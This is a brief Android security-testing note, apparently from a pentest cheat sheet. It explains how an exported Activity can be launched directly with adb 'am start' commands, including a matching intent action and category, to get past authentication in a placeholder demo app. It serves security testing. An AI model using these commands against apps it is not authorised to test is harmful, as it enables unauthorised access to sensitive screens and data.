Exploiting exported Activities

If an activity involving sensitive information is exported, it could potentially bypass authentication mechanisms, allowing unauthorized access.

adb shell am start -n com.example.demo/com.example.demo.MainActivity

You need to start the activity with the intent filtered declared:

<activity android:name="com.example.demo.HiddenActivity" android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.QUICK_VIEW"/>
        <category android:name="android.intent.category.INFO"/>
    </intent-filter>
</activity>

adb shell am start -n com.example.demo/.HiddenActivity -a android.intent.action.QUICK_VIEW -c android.intent.category.INFO